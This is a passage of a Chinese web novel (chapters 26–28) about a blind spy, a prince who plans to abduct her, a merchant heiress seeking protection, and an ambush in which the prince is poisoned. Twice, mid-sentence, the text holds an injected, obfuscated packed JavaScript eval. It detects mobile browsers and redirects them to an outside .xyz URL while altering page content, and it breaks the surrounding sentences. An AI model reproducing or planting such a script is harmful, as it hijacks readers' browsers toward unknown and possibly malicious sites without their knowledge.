似是因为动了火气,裴舟望连着咳嗽数声,捂着胸口痛苦万分。 门外的听枫与听墨无措地站在门口,无一人敢进屋近身伺候,生怕惹得公子再动肝火。 因裴舟望淋雨重病,无力起身处理公务,府衙内陪着他连轴转了数日的算手们终于得到一日喘息的机会,归家的归家,外出闲逛的闲逛,一个个开心的不得了。 燕绥之早上探望过裴舟望后,便主动提议陪云潋外出逛街,却被云潋郑重拒绝。 “裴大人重病在床,您更该专心政务,以免让他时刻忧心,不得安稳。”云潋笑着安抚燕绥之,“殿下放心,有暗卫跟随,不会出岔子的。” 燕绥之趁机抓着云潋的手,贴在脸颊上享受半晌,才松口让云潋出门。 “多逛逛,喜欢的就都买下。” 云潋笑着应承:“好。” 马车内,静梅掂量着手中沉重的顺袋,低声惊叹道:“不愧是皇子,出手就是阔绰。小姐,二殿下待您真好。” 为了能让云潋出行舒适些,燕绥之特意将他的专属马车让给云潋,自己则带着亲卫骑马出行。 出于职业习惯,见四下无人,云潋在马车内细致的搜索着每一处,妄图多得到些关于燕绥之的线索,深入了解他的日常习惯。 静梅对云潋的处事风格早已习以为常,云潋四处探查时,她还配合的挪动位置,力求自己不耽误小姐分毫。 云潋手上忙碌着,可嘴上也没闲着,应和道:“这钱不能动,记得还回去。” 静梅演戏演得越发熟稔,故作惊叹道:“小姐,您整日照顾殿下衣食起居,替他梳理账目,在御史府里忙碌操持,收他些许钱银,有何不可?” 云潋见马车内没有任何新线索,又坐回主位,冷声道:“说了不许动,就是不许动。我做那些不过是想报答殿下的恩情,既是报恩,如何能收取酬劳!静梅,我真是惯坏了你。” 静梅口中惊慌,面上却笑着,欢喜地接过云潋递来的茶杯。 “小姐,您莫动怒,我回府就将它还回去。” “只此一次,下不为例。” “是。”静梅乖巧应声,随后将茶杯中的热茶递到唇边抿了一口,才吐露她们此行的真实目的,“小姐,我听闻广聚斋新进了一批金钗,样式极美,咱们去逛逛,可好?” 云潋故作疑惑:“广聚斋?” 静梅匆忙解释:“小姐,您从不曾出门,所以对城中铺子不太了解。广聚斋是宁州城中货物最全,样式最新的铺子。五国中所有时兴的款式,您都能在广聚斋寻到。” “当真这么厉害?” 静梅故意加大音量,说给马车外负责监视她们的亲卫听。 “小姐,您可别不信。宁州富庶,各大商号都来开店,可无论多有实力的铺子,也都干不过广聚斋。这广聚斋中珍宝无数,只要您有银子,多难找、多稀罕的东西,掌柜都能帮您寻到。” 云潋见铺垫到位,朗声回道:“那便去看看吧。” “好嘞!”静梅欢喜应声,转头撩开车帘,对着为首的皇子亲卫说道,“劳烦改道去广聚斋。” 26. 第 26 章 燕绥之那辆宽大的马车在人来人往的广聚斋门前停下,亲卫将踏凳摆好。 静梅率先走下去,在踏凳边站定,随后她转身朝云潋伸手,小心搀扶云潋下了马车。 伙计机灵,一见门外这架势,便知有贵客驾临,赶忙将后间内的掌柜请出来亲自接待云潋主仆。 静梅时刻关注着周围环境,小心为云潋提示脚下是否有障碍。 “小姐,有门槛儿。” 掌柜自下而上的将进入店内的云潋扫视一番,当他看到云潋手中那整块儿黄花梨木雕成的盲杖后,立刻扯出最灿烂的笑意,殷勤招呼。 “今日贵客登门,小店简直蓬荜生辉!不知小姐今日想挑选些什么?” 待掌柜视线落在云潋目不能视的双眼时,神色顿时严肃起来,不过一瞬,他又挂上笑容。 “现下楼上的雅间还空着,不如小姐移步二楼,坐下来喝口热茶,吃些点心,在雅间内慢慢挑选。您意下如何?” “也好。”云潋从善如流,转头对门边想跟她上楼的几名亲卫说道,“你们在外头守着吧,别打扰掌柜做生意。” 亲卫不肯,生怕云潋出事儿,“云姑娘,殿下让我等寸步不离的守着您。” 掌柜赶紧打圆场:“官爷放心,我们广聚斋上下皆有仆从把守,二楼是夫人小姐们拣选首饰的地方,闲杂人等不能随意靠近,保证安全。” 亲卫握着配刀,抬头谨慎的环顾一圈,见二楼往来的都是闺阁女子,这才退让:“那好,云姑娘,我们就守在大门外,您若有需要,随时召唤我们。” “好,有劳各位。” 云潋主仆随掌柜进入雅间,掌柜亲自给云潋倒茶,随后低声道:“请二位稍坐片刻,我去备些货品,随后就来。” 掌柜与伙计出了门,静梅看着急匆匆离开的掌柜,纳罕道:“他都不问我们想看什么吗?就这么走了?” 云潋手指捻着茶杯,感受着杯壁的热度,眼眸间藏着万千情绪。 “风吹得有些凉,你去关窗吧。” 静梅刚关好几扇窗,一群伙计便端着一盘盘首饰鱼贯而入。 为首的一个白净伙计将其他伙计屏退,凑到云潋身边轻声开口:“回禀姑娘,左边这排都是我们广聚斋最热销的款式。而右边这排翡翠玉镯、墨玉扳指、凤凰珠钗、点翠步摇,都是专供您这样的贵人拣选,每一个都是孤品,保证您戴出去不会与其他女子撞款。” 云潋端起茶杯抿了一口热茶,语气不急不徐:“我今日来,不是为了这些首饰。” 这伙计皮肤白皙,面容姣好,举着金钗想为云潋试戴的手指尖都泛着精致的淡粉色。 听云潋这么说,伙计将金钗放回托盘内,状似为难道:“广聚斋只卖首饰,姑娘若是想要寻别的精巧物件,只怕我们也有心无力呀。” 云潋勾唇浅笑,“是吗?我怎么听闻广聚斋的二楼,还贩卖消息。只要肯出钱,你们什么人都能找到。” 伙计身躯越发佝偻,说话的声音却依旧如常。 “姑娘说笑了,广聚斋做的是清白生意,从不沾染其他。若姑娘无心细看首饰,小人便告退了。” “万小姐,留步。” 云潋缓缓起身,一把扯住万玉柔的手腕。时间紧急,她不能在此耽搁太久,自然没有那么多时间陪万玉柔迂回试探。 “你费尽心思将我那群狼心狗肺的家人送去招惹我,不就是为了引我前来相见吗?我好不容易出来一趟,万小姐怎么又不肯与我详谈了呢?莫不是,突然改主意了?” 万玉柔也不再伪装,“姜大人不是一直筹划着该如何不着痕迹的回到二殿下身边吗?我引着那群家伙过去一闹,二殿下愈发怜惜您,您也如愿以偿的追随在他左右。这个计划,不正中您的下怀?” “姜大人”这个称呼一说出口,云潋脸色瞬间变化,待万玉柔说完,她一把撸起她的衣袖,果然在她臂弯处发现一处鸢尾花痕迹的纹身。 云潋冷声质问:“你万家富可敌国,什么时候也开始卷进这种乱七八糟的事情里了?” 万玉柔既然与云潋挑明身份,也不再扮伙计,她从云潋手中抽出手腕,施施然落座,还不忘给自己倒了杯热茶。 “小儿持金于市,必为巨擘者所攫取。这些天二殿下伙同那位裴大人在宁州城中大肆抓人,多少与那群贪官污吏沆瀣一气的商贾全家下狱,万贯家财一夜成空。空有钱财,却无权势,终究什么也留不住。我万家树大招风,我这个少东家,自然需要未雨绸缪。” 云潋听到这样一番剖白,甚是惊喜,她收敛心神,坐在万玉柔对面。 “既然你早已投入主子麾下,又在宁州城中手眼通天,想必也知晓我杀陈婷、焚别院的举动。我已然与主子决裂,与你道不同不相为谋,你为何又暗中助我?” 万玉柔将糕点推向云潋,举止落落大方,言语更是格外坦诚:“因为我在讨好你。” 云潋挑眉,“哦?” “姜大人,我虚长你六岁,五年前我打败家中一众兄弟,从父亲手中接下万家商行,经营至今,作为少东家,也算是成绩斐然。我万家世代经商,几度沉浮,数年间没少被各方势力盘剥。屈从主子,不过是因为他为我种下鸢尾之毒,为求自保,我只能屈服,供他驱使。” 云潋倒是并不惊讶,主子向来如此,从不肯跟属下推心置腹,更不屑花时间驯服属下,一味用毒控制。他向来喜欢速战速决,也只信自己,自然换不来绝对的忠诚。 “所以,你知晓我有鸢尾之毒的解药,想求我赐药,帮你摆脱他的控制?” 万玉柔点头,又摇头。 “不止如此,我还想转投您的门下,求您庇护。当然,我也想求您日后让二殿下庇护我万家子孙,保我万家基业。” 见云潋犹豫,万玉柔从怀中掏出半块白玉牌推到云潋面前。 “姜大人,他能给我下毒一次,便会有第二次。若无您庇护,我依旧逃不出他的魔爪。这是我的掌家玉牌,有了它,您能随意驱使万家在五国中的所有商行、船只,日后万家每年会向您供上两成利。这是我的诚意,望您笑纳。” 云潋并没有接,反倒追问:“你求我,是为了解药,为了让我帮你躲过主子的追杀,保你万家安全。可你让我帮你在燕绥之面前为万家筹划,又是为何?” 万玉柔没有吭声,因为她知晓,姜大人双眼洞察万物,猜得出她心中所想。 果然,下一刻,云潋轻轻启唇:“你想在燕绥之身上下注,你赌他最后会登上皇位,甚至一统江山。届时你万家有从龙之功,自然可以兴盛百年。” 云潋此刻才拿起那白玉牌把玩,视线落在万玉柔的手臂上,浅笑道:“如果我没猜错,你早就从那群女子手中买到解药,现下已不受主子控制。” 万玉柔脸色惨白,却不敢再欺瞒,“什么都瞒不过姜大人。” 云潋审视着万玉柔的脸,问出心中最好奇的问题:“万小姐,主子虽狠辣,却与燕绥之实力相当,甚至更有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291823|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统五国的决心。若你想让万家傍上一艘大船,怎么看,也是主子更合适。为何还要舍近求远呢?” 万玉柔十分坦然,“姜大人,一个嗜杀成性、冷漠无情,靠逼迫女子出卖自己换取情报的上峰;一个是贤名在外、温情尚在,肯为解救河工和流落风尘的女子不惜下狱的皇子。这二人,您会怎么选?” 云潋默不作声。 万玉柔双手高举茶杯,“您已然重新做出选择,我万家也想借您的东风,扶摇而上。今日,玉柔以茶代酒,求姜大人念在我万家上下几百口的性命,玉柔肩上担着万千伙计生计的份上,收下这块儿掌家玉牌吧!” 掌家玉牌白璧无瑕,刻画精致,棱角处深深刺进云潋的指腹。 良久,云潋端起茶杯,与万玉柔的茶杯相碰。 茶杯凑近唇边时,云潋忍不住低语:“从来没有万全之策,必胜之局。一旦落败,万家只怕要与我一同坠入深渊,少东家,现在收手,还来得及。” 万玉柔笑容明媚,少见的露出女儿家的娇憨姿态。 “愿赌服输,这点儿胸襟,玉柔还是有的。” 云潋勾唇一笑,将杯中茶水一饮而尽。 万玉柔见云潋这般动作,笑意更深。 燕绥之刚一进裴舟望的院子,就听得屋内的堂兄剧烈咳嗽,咳嗽声停止后,屋内传来他沙哑的嗓音:“拿走!” 听墨的声音紧随其后,“公子,云姑娘送来这盐津梅子也是好意,想让您吃完药后甜甜嘴。” “我说了,我不收她的东西!” 说完,激动的裴舟望又剧烈咳嗽起来。 “拿走吧。”听枫赶紧安慰裴舟望,“公子,她也不只是给您送了盐津梅子,还给我和听墨都带了糕点。许是她今日逛得开心,才人手一份礼物吧。” 听到人人都有,裴舟望心口一滞,不再说话,双眼却渐渐失焦,辨不出喜怒。 燕绥之早年与堂兄相伴长大,对他的脾气秉性一清二楚。 现下堂兄对云潋的排斥,落在他眼中,并非是抗拒和厌恶,反倒是堂兄对云潋疯狂心动,又拼命压抑的证明。 燕绥之推门而入,笑着问候:“堂兄感觉如何?” 裴舟望渐渐回神,艰难勾出一丝笑意,“好多了,多谢殿下挂怀。” 燕绥之坐在床榻边的绣墩上,手自然搭在腿上,手指不停转动着左手大拇指上的墨玉扳指。 “我下月初才走,还能再帮你顶上几日,这几天你便好好休养,千万别急着起身。” “好,多谢殿下。” 燕绥之转动扳指的频率太高,裴舟望的视线忍不住落在那玉扳指上。 燕绥之露出灿然笑容,似是炫耀般说道:“云儿今日出门,在那个叫广聚斋的铺子为我买的。怎么样,可适合我?” 裴舟望口中的苦涩更重,却还是笑着回话:“墨玉深沉,很衬殿下。” 燕绥之笑着点头,如珠如宝般摩挲着扳指。 “她出门都不忘为我准备礼物,堂兄,你说她是不是心中有我?” 裴舟望咬着后槽牙,轻声应答:“这是自然。” 燕绥之得到满意答案,缓缓起身,不再继续刺激裴舟望。 “我还有公务要处理,就先走了。” 裴舟望想下床榻相送,燕绥之赶紧阻拦。 燕绥之走到门边后,笑着转身叮嘱:“对了,我请父皇母妃赐婚的圣旨应该快到了,这些天我在外奔波,劳烦堂兄替我盯着些。” 27. 第 27 章 裴舟望紧咬牙关,半晌才吐出一句:“是,微臣定会留心。” 燕绥之离开后,裴舟望死死盯着桌上那盘盐津梅子,脑海中全然是燕绥之频繁转动墨玉扳指的画面。 一盘不值一提的盐津梅子,一枚价值不菲的墨玉扳指。 在她心中,他与堂弟,孰轻孰重,一目了然。 裴舟望躺在床榻上,眼中的光彻底熄灭了。 京中赐婚的旨意迟迟未到,连素来沉稳的燕绥之都有些急躁不安。 直到启程前去贺州迎大长公主的前两日,夜半三更,亲卫送来一封荣贵妃亲笔书写的家书。 燕绥之命楚执屏退守卫,独留他一人近前伺候。 这位疼爱皇儿、宠冠六宫的贵妃娘娘在家书中一如既往的措辞温柔。 她先是殷勤关切燕绥之与裴舟望的近况,向皇儿简略叙述了宫中近日发生的大事,直到书信的最后,才话锋一转,吐露圣上如何因他为一盲妓请旨封妃而震怒。 对这一结果,燕绥之并不意外。 皇家最是注重颜面,他尚未迎娶正妃,便荒唐的想要立一个贱籍出身的盲妓为侧妃,若父皇母妃轻易准允,让他迎云潋入皇子府,朝中还有哪家权贵敢将女儿嫁给他。 楚执见燕绥之神色如常,小心劝解:“殿下,陛下好不容易重视您,让您坐镇一方,建功立业。您何苦因一个女子,惹陛下生气呢?” 见燕绥之没说话,楚执大着胆子多说两句:“更何况,她的出身和经历,实在不堪。您是皇子,若真心喜欢她,悄悄收做宫人,带在身边,多加宠幸便是。何苦非要为她争个侧妃之位,闹得人尽皆知呢?” 燕绥之将家书收进信封,难得好脾气的跟楚执解释:“孤在宁州声名远播,太子和皇后便蠢蠢欲动,欲对孤除之而后快。若孤依旧洁身自好、恭谨持重,他们只怕连觉都睡不安稳。” 楚执试探着问:“您的意思是,您借云姑娘营造出一副荒唐淫/乱的模样,是为了降低陛下、皇后和太子的戒心?” 燕绥之并未回答,伏在案牍前认真审阅新任知府送来的公文,他想在离开前,尽可能完美的将宁州事务收尾。 楚执看出燕绥之对云潋有利用之心,并非如外表那般情根深种、理智全无,便顺利掌握了跟云潋主仆相处的分寸。 门外的云潋将燕绥之和楚执的对话尽数听进耳中,神情并无任何波动,她垂下眼眸,静静等了片刻,才让静梅敲门。 静梅压下脸上的不悦与愤愤不平,尽可能平静的开口:“殿下,我家小姐命后厨炖了鸽子汤,您可要尝尝?” 楚执匆匆前来开门,见云潋也亲自前来,赶忙回头唤燕绥之:“殿下,云姑娘来了。” 燕绥之扔下公文,匆匆上前迎接,他握着云潋的手,关切道:“手这般凉,怎么不多穿些衣裳。” 说完,燕绥之接过楚执递来的披风,细心的为云潋披上。 最近宁州连下了好几场大雨,一场秋雨一场凉,十月初的夜晚已经有几分寒意。 云潋笑着摇头,“我不冷。许是因为刚才洗手,沾了些凉水的缘故。” 燕绥之心中埋怨静梅做事不够周到,暗中记下,来日回到京都,要为云潋多寻几个靠谱的大丫鬟近身伺候。 “坐吧。” 燕绥之搀扶着云潋落座,拿起勺子喝了两口鸽子汤,胃中顿时升腾起阵阵暖意,他忍不住感叹:“这一盅鸽子汤入胃,周身暖烘烘的,我简直都要热出汗了。” 云潋浅笑,似是因燕绥之的话而感到愉悦,随后她轻声道:“夜深了,殿下早些安寝。我们就先告退了。” 静梅搀扶着云潋起身,可燕绥之却及时抓住云潋的衣袖。 云潋转过头,露出困惑神情,“殿下,可还有其他吩咐?” “云儿,我后日启程去贺州,你可愿随我一同前去?” 云潋神情惊讶,很快又恢复平静,言语都生硬许多:“殿下说笑了,您此去贺州是有公务在身,云潋随您同去,实在不妥。” 燕绥之紧紧抓住云潋的手,不肯让她转身离去,言辞恳切:“你这般聪慧,定是明白我的意思,为何还要揣着明白装糊涂呢?” 云潋眼见燕绥之戳破这层窗户纸,也不再客气,冷漠抽出被燕绥之紧握的纤纤玉手。 “殿下,我不愿意。” 说罢,云潋立刻转身离开,毫不留情。 燕绥之看着大开的房门,以及云潋消失在夜色间的模糊背影,神情晦暗不明。 楚执不敢刺激燕绥之,只小心关上房门,半晌,他终是忍不住开口:“殿下,云姑娘不愿随您入京,您可要换个人选?” 燕绥之缓缓落座,垂眸看着大拇指上的墨玉扳指出神良久,似是终于下定决心。 他的语气少见的冰冷,一字一句,不容置喙:“她不肯,孤便掳她走。” 楚执见殿下发狠,不敢再劝,恭顺地垂下头。 云潋自是猜不透燕绥之的心思,她只知京都那边迟迟没有传来封她为侧妃的旨意,即便她追随在燕绥之身边,无名无份,便只有被囚禁在后院,蹉跎此生的命运。 她不肯,也不愿让自己的所有努力付之东流。 所以,她需要一个理由。 一个让皇家承她恩情,顾及颜面,封她为侧妃的理由。 信鸽从云潋房间的窗棂边现身,朝着深沉的夜色中飞去,雪白的身躯隐没在浓浓雾气中,很快便不见影踪。 燕绥之携亲卫浩浩荡荡从御史府邸朝宁州城门处行进,宁州百姓感念他这些天为宁州做出的贡献,夹道相送,还不停往亲卫队手中塞鸡蛋、蔬果,想请他们帮忙转交给燕绥之。 亲卫队的卫兵们自是不敢收,连连拒绝,却还是抵挡不住宁州百姓的热情。短短六里路,生生被百姓拖延许久。 城门外,宁州新到任知府携百官跪地磕头。 燕绥之端坐在骏马之上,指着坐在囚车里的前任官员们,冷声道:“这就是你们的前车之鉴,若胆敢故态复萌,你们的下场,只会更惨!” 知府及百官赶忙将头压得更低,朗声承诺:“臣等定会谨记殿下教诲,廉洁奉公、勤政爱民,绝不敢有半分懈怠!” 端坐在囚车中的曾闻仕深深地看了燕绥之一眼,随后又懒洋洋地闭上了双眼,仿佛被当作典型的并非他本人一般。 裴舟望和云潋坐在马车中,应燕绥之的要求,多送他一段路,他们准备在城郊与燕绥之道别,随后再回程。 透过裴舟望撩开的车帘向外望去,云潋的视线短暂落在曾闻仕身上,见他蓬头垢面,状态不佳,云潋心疼万分,狠狠揪紧手中的帕子。 裴舟望见马车开始移动,撂下车帘,转身审视起云潋的神情。 车内只有他们两人,云潋见裴舟望一直打量她,抬手覆上脸颊,故作惊慌,轻声询问:“裴大人,可是我有什么不妥?” “没有。” 云潋懒得顾及裴舟望的心思,只一心揣测,一会儿城郊刺杀燕绥之,她的人有几分胜算。 可裴舟望却不想就此放过云潋,低声询问:“你当真不随他走?” 云潋回神,露出带着几分苦涩的笑容,“他是皇子,留我在身边,只会拖累他。我......只盼他余生顺遂,旁的,再无所求。” 裴舟望心中越发痛苦,他竟不知,她爱堂弟至深。 他原以为云潋只是不想放弃熟悉的生活,怕错信堂弟,随他入京后惨遭抛弃,这才不敢冒险同他一起离开。 谁知她不肯同意,竟是因为她心悦于堂弟,怕自己成为他的负累,才忍痛与堂弟分别。 两者之间,天差地别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303381|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 裴舟望放在膝间的手不自觉握紧,活了十九载,清风明月般潇洒的人,竟第一次体会到了嫉妒的滋味。 城郊凉亭,燕绥之勒停骏马,利落下马,走到马车边。 见静梅居然坐在马车外,燕绥之微不可察的皱了一下眉,随后他强压着心中的火气,低声哄云潋下马车。 “云儿,到了。可以出来了。” 云潋试探着去抓盲杖,却与递来盲杖的裴舟望的手短暂相接,云潋吓得收回手。 裴舟望察觉肌肤上残留的淡淡暖意,理智压着他说道:“抱歉。” 云潋还没来得及应声,燕绥之耐心告罄,一把撩开车帘,见他们二人之间气氛诡异,低声道:“云儿,过来。” 燕绥之将云潋抱下马车,安置在凉亭内的石凳上。 云潋的视线落在密林深处,隐约见有人与她打手势,便知手下已经就位,只待她一声令下,便可行动。 裴舟望、静梅、楚执等人进入凉亭,可裴舟望这位好堂兄却没有开口与燕绥之道别,只冷冷站在原地,看着燕绥之紧紧拉着云潋的手,不肯松开。 眼见气氛不佳,静梅率先将手中的包袱递到燕绥之面前,解开系扣为燕绥之展示。 “这是我家小姐为您备下的衣衫,权做离别赠礼,望殿下笑纳。” 燕绥之抚摩着滑顺的面料,看着衣领处细密的针脚,满眼温存。 随后他视线一瞥,楚执收到信号,绕到静梅身后,一计手刀,将静梅打晕、抱走,堵住嘴、捆住手,整套动作一气呵成,并未发出任何声响,引起云潋的注意。 聪慧如裴舟望,他很快意识到燕绥之的用意。 裴舟望双目圆睁,他简直不敢相信——堂弟竟会想要将云潋主仆强行掳走。 不等裴舟望反应过来,便听见燕绥之依旧语气如常,哄着云潋:“我很喜欢,谢谢你,云儿。” 云潋将一切尽收眼底,却不动声色,聪明如她,也猜出了燕绥之的用意,却不得不假装毫不知情,陪他演下去。 “殿下喜欢就好。秋日天气多变,望殿下保重身体。” 燕绥之温柔的凝视着云潋,全然不似准备强掳民女的恶人,他抬手抚上云潋的脸颊,语气温柔至极:“云儿,你放心,我会照顾好你,日后绝不会让你受半分委屈。” 云潋满脸茫然,似是听不懂燕绥之的话,刚想开口,就听得裴舟望激动的喊道:“他想......” 不等裴舟望说完,沈烁似楚执一般,从背后打昏了裴舟望。 听枫听墨也瞬间被燕绥之的亲卫挟持,捂住嘴,强行带离凉亭。 云潋有些慌乱,追问道:“裴大人,您在说什么?” 燕绥之抚着云潋脸颊的手微微用力,强迫她保持着面向他的姿势,语气沾染上几分不悦:“云儿,我都要走了,你还将心思放在旁人身上?” 云潋瑟缩了一下,神色慌张,不敢再说话。 燕绥之满意极了,第一次俯身在云潋脸颊上落下一吻。 察觉到燕绥之的举动,云潋空洞失神的眼球剧烈颤抖,整个人抖若筛糠,发出一声微弱的低吟:“殿下......” 燕绥之喜欢云潋这副受他影响的模样,更喜欢她此刻柔弱无骨的瘫软在他怀中的柔美姿态。 似是被蛊惑一般,燕绥之的视线不自觉落在云潋嫣红水润的双唇上,身随意动,他的唇缓缓朝目标移动,就在呼吸交错间,四瓣唇即将相接之时,一支箭矢径直朝燕绥之射来。 箭矢划破空气,发出“咻”的一声轻响。 常年习武,对声音变化极为敏锐的云潋大吃一惊,她只让属下伺机刺伤燕绥之,有心让他中毒,可并未让人对着他的头射箭,狠心取他性命。 难道说,除了她的人,这边还埋伏着其他人? 28. 第 28 章 箭矢直奔燕绥之的头颅而来,眼前的男人依旧紧闭着双眼,沉浸在暧昧气息中,似乎全然不知危险即将来临。 “殿下,不要!” 顾不得是否会暴露,云潋用力一把推开揽着她的燕绥之,而她也顺势假装用力过猛,跌下石凳,与燕绥之的身躯交叠在一处。 燕绥之精准的护住跌倒在他身上的云潋,生怕地面太硬,摔伤了她。 早有防备的楚执也在这一瞬精准砍断箭矢,对着周围的皇子亲卫吩咐道:“有刺客,护驾!” 沈烁冲到燕绥之与云潋身前,以身躯抵挡依旧不停射来的箭矢,焦急询问:“殿下,您还好吗?” 燕绥之并没有被刺杀的恐惧,只有初吻被云潋拒绝后的恼恨,他嗡声道:“孤无碍。” 一批亲卫瞬间上前,用盾牌将燕绥之和云潋牢牢护在其中。 无数身着黑色衣衫的杀手从密林深处的现身,从四面八方径直朝着凉亭处奔来。 亲卫瞬间发起反击,一个个骁勇善战,仿佛不要命一般,誓死歼敌。 燕绥之将云潋从地上拉起,吩咐道:“他们的目标是我,楚执,护着她离开。” 云潋此刻还不忘装作惊慌,听着周遭长剑碰撞发出的脆响,以及刺客殒命时发出的痛苦呻吟,焦急询问:“怎么了?” 燕绥之一边从亲卫手中接过佩刀,一边安抚道:“无事,你先随楚执离开,我稍后便去寻你。” 楚执不停用长剑抵挡不停飞来的流矢,凑到云潋身边,扛起她便朝拴马的树边撤退。 两名亲卫紧随其后,护送楚执与云潋。 云潋并不想离燕绥之太远,毕竟现下局势复杂,若真让他在此殒命,一切便功亏一篑了。 有她在身侧,她起码还能暗中助燕绥之一臂之力。 因此云潋剧烈挣扎,吼叫道:“楚侍卫,你别管我,快去帮殿下呀!” 楚执一边将云潋推上骏马,一边解释:“云姑娘,您在此处,只会让殿下分心。我先送您离开!” 藏在树上的属下见云潋即将被楚执送走,皆有几分急切,现下他们还没收到小小姐的指示,一时不知该不该继续行动。 云潋自然猜得出众人的心思,趁着楚执解缰绳的功夫,用手在身前悄悄给属下发出信号,让他们迅速撤离,此次行动取消。 一阵鸟哨声响起,随后林间的枝叶晃动几下,云潋的属下很快消失在密林深处,不见踪影。 楚执纵身上马,拉住缰绳,将云潋护在身前,他低声道:“云姑娘,抓紧些,马要开始跑了。” 刚刚示意属下离开时,云潋飞速观察过后方的状况,见燕绥之游刃有余,等闲刺客无法近身,她便不再继续闹着要留。 云潋拽紧缰绳,低声应答:“我抓好了。” 骏马疾驰,身后两名亲卫负责断后,将追上来的刺客一一杀光,顺利掩护云潋和楚执离开刺客的包围圈。 燕绥之手起刀落,刺客应声跌倒在地,眼见有刺客浑水摸鱼,悄悄朝着囚车方向奔驰,燕绥之冷声道:“保护曾大人!” 沈烁马上应声:“是!” 很快沈烁便带人将想要接近囚车的刺客宰杀殆尽。 冷箭依旧不停歇,燕绥之抢过身边亲卫手中的弓箭,三箭齐发,很快不远处的树上便掉下三个刺客,不再有人偷放冷箭。 局势渐渐控制住,燕绥之满面寒霜,冷声吩咐:“留活口!” 亲卫立刻掐住身旁刺客的脸颊,阻止他们咬破牙缝间的毒药自尽,成功留下三个活口。 就在众人收尾之际,燕绥之却隐约察觉树林间枝叶晃动,枝叶晃动的轨迹是云潋离开的方向,燕绥之立刻警觉,他飞身上马,高呼:“沈烁,带人随我来!” 沈烁不敢耽搁,立刻带一批亲卫紧随其后,策马奔腾。 前行的路被巨木挡住,楚执瞬间意识到周围有埋伏,他低声道:“云姑娘,有埋伏,搂住马脖子,坐在马上不要动。” 随后,十几个刺客从身旁的密林中现身,云潋瞬间认出,这是主子身边的暗卫。 暗卫目标明确,此次行动就是要带回叛逃的云潋,因此众人皆使出浑身解数,出招明确,只想迅速杀掉楚执,悄无声息的掳走云潋。 楚执也敏锐察觉出这一批刺客明显更加训练有素,且武艺高强,他们全程不发一言,似乎不知疲倦,也察觉不到疼痛。 这群刺客眼神看向云潋时,藏着楚执看不懂的情绪。 当暗卫抓住云潋的脚腕时,云潋假装惊恐的挣扎,实则一脚踢在暗卫心口,那人瞬间倒地,捂着心口,半晌缓不过来。 云潋见众暗卫没有对她用杀招,便知他们此次的任务是抓活口。 因此云潋对待凑到她身边的暗卫越发肆无忌惮,次次使出全力,帮楚执减轻不少负担。 眼见楚执渐渐力不从心,大有落败之兆,云潋不得不冒着暴露的风险,拔下藏在发间的金簪,准备用金针机关帮着楚执解决掉剩下的几个暗卫。 赶来的燕绥之见不断有人去拽瑟缩在马上的云潋,云潋搂着马脖,惊慌乱踢,瞬间疯狂冲向云潋,朗声吩咐:“就地斩杀,不留活口!” 燕绥之的到来顺利控制住局面,云潋瞬间将金簪藏进袖中,扮作惊慌模样。 燕绥之下马拉住云潋所在马匹的缰绳,待马匹不再转圈,燕绥之赶忙将吓坏的云潋抱下马,搂在怀中安慰:“没事儿了,现下已经安全了。” 云潋顺势搂住燕绥之的腰肢,将脸埋在他的怀中,随后又从他怀中起身,双手从他的头自上而下掠到腰肢,苍白着脸询问:“殿下,您没受伤吧?” 燕绥之宠溺的任由云潋对他上下其手,见她神情焦急,满脸关切,深受动容,眼神中藏着无尽暗流。 “我没事,倒是你,吓坏了吧。” 云潋这才似魂魄归体一般,泪流满面,“静梅和裴大人他们怎么样了?” 燕绥之将云潋手贴在他心口处,低声安抚:“都无碍。” 云潋这才长舒一口气,她似再也站不稳一般,险些摔倒,燕绥之及时搀扶住她,将她打横抱起。 身后的暗卫一个个倒下,云潋窝在燕绥之怀中,向他们露出胜利者的笑容。 电光石火间,燕绥之猛然转身,以身躯挡住射向云潋的暗箭。 云潋察觉抱着她的燕绥之身形不稳,似从背后受到什么冲击,神情慌乱起来。 沈烁立刻将手中的长剑向冷箭射出的位置一甩,一个暗卫瞬间倒地。 几名亲卫冲到密林深处检查,而沈烁发疯般冲到燕绥之身边,对中箭都不忘稳稳抱着云潋的燕绥之高呼:“殿下!” 燕绥之双膝跪地,望着怀中安然无恙的云潋,他露出欣慰笑容,低声安抚:“别怕,我会护好你。” 燕绥之将云潋如珠如宝的护着,可沈烁却不会这般善待云潋,眼见殿下唇间发黑,瞬间失去意识,他立刻将云潋从燕绥之怀中扒拉下来。 楚执更加理智,一剑斩断箭尾,亲自背起燕绥之,朝凉亭方向狂奔。 “去接两位太医!留活口,找解药!”楚执一边跑,一边吩咐,“将裴大人唤醒,殿下中毒之事,不能走漏任何风声!” 众人齐声应答:“是!” 亲卫们分别行动,大部分护送燕绥之等人离开;几个强壮的将两个活口小心绑好带回去受审;善骑马的则先行一步去唤醒裴舟望。 分工明确,井井有条。 云潋跌坐在地上,眼看众人不要命般往回赶,无一人在意她的安危。 可她却并不难过,反倒杀心四起。 是啊,主子是何许人也,狠辣非常,不容背叛。 想抓她这个叛徒回去审问是真;可恼恨燕绥之引诱他的属下,想对他除之而后快也是真。 想必这批暗卫收到的任务,从一开始就是两个——抓回她,杀了燕绥之。 是她被燕绥之保护的太好,太久不曾经历腥风血雨,才会掉以轻心。 燕绥之受伤,她当负主要责任。 人群散去,空地上只留下□□具尸身,一动不动。 